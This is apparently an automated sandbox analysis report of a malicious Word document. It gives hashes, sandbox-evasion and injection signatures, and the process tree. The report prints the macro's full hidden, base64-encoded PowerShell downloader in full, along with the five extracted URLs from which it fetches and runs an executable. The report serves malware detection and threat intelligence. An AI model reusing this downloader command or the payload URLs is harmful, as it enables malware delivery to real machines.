Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 20:34
Static task
static1
Behavioral task
behavioral1
Sample
6889974ddc269eae29f7a949b34d04bc_JaffaCakes118.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
6889974ddc269eae29f7a949b34d04bc_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
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Target
6889974ddc269eae29f7a949b34d04bc_JaffaCakes118.doc
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Size
94KB
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MD5
6889974ddc269eae29f7a949b34d04bc
-
SHA1
bb88e3ac46fc503308959e7f964b4130a4b39357
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SHA256
4c58c854ad7652ac73829058b405f7b2dd40e803ef3be318090ee2ee43de1a07
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SHA512
08b7bf8a129a97ba4450a04c080e1e31fc8be1325037536b7da4ff2d3ba7e938e081a4adaa90713d7bd3f96ab808299503537dbf9cae8970b613e299ced18ad4
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SSDEEP
1536:xXDMeO8oY5C6OJsdBpZW2aMQs666yT+t3hieCnpYjSKxrtN:J4eroY5CTsdA2OI23hccT
Malware Config
Extracted
http://samuelearba.com/wp-includes/g2fn1q5591/
https://rudalov.com/clientes/hroimxt621/
http://rhythmandbluescompany.com/pimages/4vq32/
http://ruttv.com/cams/rb5b5/
http://sampling-group.com/site_espanol/bo3/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1956 2464 Powershell.exe -
Blocklisted process makes network request 7 IoCs
Processes:
Powershell.exeflow pid process 24 1956 Powershell.exe 25 1956 Powershell.exe 27 1956 Powershell.exe 30 1956 Powershell.exe 35 1956 Powershell.exe 37 1956 Powershell.exe 39 1956 Powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3376 WINWORD.EXE 3376 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
Powershell.exepid process 1956 Powershell.exe 1956 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 1956 Powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
WINWORD.EXEpid process 3376 WINWORD.EXE 3376 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 3376 WINWORD.EXE 3376 WINWORD.EXE 3376 WINWORD.EXE 3376 WINWORD.EXE 3376 WINWORD.EXE 3376 WINWORD.EXE 3376 WINWORD.EXE 3376 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 3376 wrote to memory of 2248 3376 WINWORD.EXE splwow64.exe PID 3376 wrote to memory of 2248 3376 WINWORD.EXE splwow64.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6889974ddc269eae29f7a949b34d04bc_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3376 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2248
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABHAHkAcABqAGgAcgB4AGoAaQBiAD0AJwBJAHQAcgByAGUAbAB6AGUAdQBoAHoAdgAnADsAJABFAGIAdABuAGMAagBkAHAAawBrAHcAIAA9ACAAJwA5ADUANQAnADsAJABZAGwAYgB6AGQAdwBpAGwAPQAnAEoAagBhAGsAZAB2AHoAbgB1AHUAcABtACcAOwAkAFUAdgByAGwAawBzAHIAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARQBiAHQAbgBjAGoAZABwAGsAawB3ACsAJwAuAGUAeABlACcAOwAkAFoAeABzAHMAeQB5AHQAawBnAD0AJwBZAGgAYwBkAHYAegBpAGUAdwB2AGMAeQB0ACcAOwAkAEcAcwBoAG8AbwBrAHUAcwBhAGUAdgBsAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAFcAZQBCAEMAbABJAGUAbgBUADsAJABLAHUAbABnAG0AZABsAGMAPQAnAGgAdAB0AHAAOgAvAC8AcwBhAG0AdQBlAGwAZQBhAHIAYgBhAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBnADIAZgBuADEAcQA1ADUAOQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AcgB1AGQAYQBsAG8AdgAuAGMAbwBtAC8AYwBsAGkAZQBuAHQAZQBzAC8AaAByAG8AaQBtAHgAdAA2ADIAMQAvACoAaAB0AHQAcAA6AC8ALwByAGgAeQB0AGgAbQBhAG4AZABiAGwAdQBlAHMAYwBvAG0AcABhAG4AeQAuAGMAbwBtAC8AcABpAG0AYQBnAGUAcwAvADQAdgBxADMAMgAvACoAaAB0AHQAcAA6AC8ALwByAHUAdAB0AHYALgBjAG8AbQAvAGMAYQBtAHMALwByAGIANQBiADUALwAqAGgAdAB0AHAAOgAvAC8AcwBhAG0AcABsAGkAbgBnAC0AZwByAG8AdQBwAC4AYwBvAG0ALwBzAGkAdABlAF8AZQBzAHAAYQBuAG8AbAAvAGIAbwAzAC8AJwAuACIAcwBQAGAATABpAFQAIgAoACcAKgAnACkAOwAkAEEAaQBlAGcAbgBtAG0AdgBhAGcAPQAnAE0AbgBjAHkAZABtAG0AZgBvAHcAawAnADsAZgBvAHIAZQBhAGMAaAAoACQARAByAG4AaABsAGIAcABtAGQAbQBjAGEAbQAgAGkAbgAgACQASwB1AGwAZwBtAGQAbABjACkAewB0AHIAeQB7ACQARwBzAGgAbwBvAGsAdQBzAGEAZQB2AGwALgAiAEQATwBgAFcATgBsAE8AYQBkAGAARgBpAGAAbABFACIAKAAkAEQAcgBuAGgAbABiAHAAbQBkAG0AYwBhAG0ALAAgACQAVQB2AHIAbABrAHMAcgByACkAOwAkAEgAaQBjAGoAeAB5AHoAYgBtAHkAawBnAD0AJwBNAGwAbABjAHcAcgBqAHYAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABVAHYAcgBsAGsAcwByAHIAKQAuACIAbABlAE4AYABnAFQAaAAiACAALQBnAGUAIAAzADMAMwAyADIAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBgAFQAQQByAHQAIgAoACQAVQB2AHIAbABrAHMAcgByACkAOwAkAFkAbQBoAGwAeQBkAHkAZgBtAGYAZQBrAG0APQAnAEUAcABhAG8AcgBzAGQAbQB6ACcAOwBiAHIAZQBhAGsAOwAkAFUAbgBoAGwAbABxAGkAbQA9ACcAUgBxAG4AdgBtAGEAbgB1AGkAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABPAG0AdAB2AGMAYwBlAHYAegBpAHMAdgBqAD0AJwBBAHQAbgBjAHoAZQB2AG4AegBtAHQAZgByACcA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1956
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
444B
MD5d71ebc93e738adf141c50f4608a3c843
SHA153a26fde9fd3cf10f045629d6fc9f8492e392458
SHA2562fe1ee0025ff2f805ef73f3eb2223e26328ae9aabc8ca72396bf87c18cbce463
SHA512edaeb22863c6da6bf9c1c5913d5f431a09f95219afe601b1a93191153dbc2dc784950ddaece4e1e746f7cb4bea96754d587a51ddf338046bab5a0d719e5bcf02
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Filesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82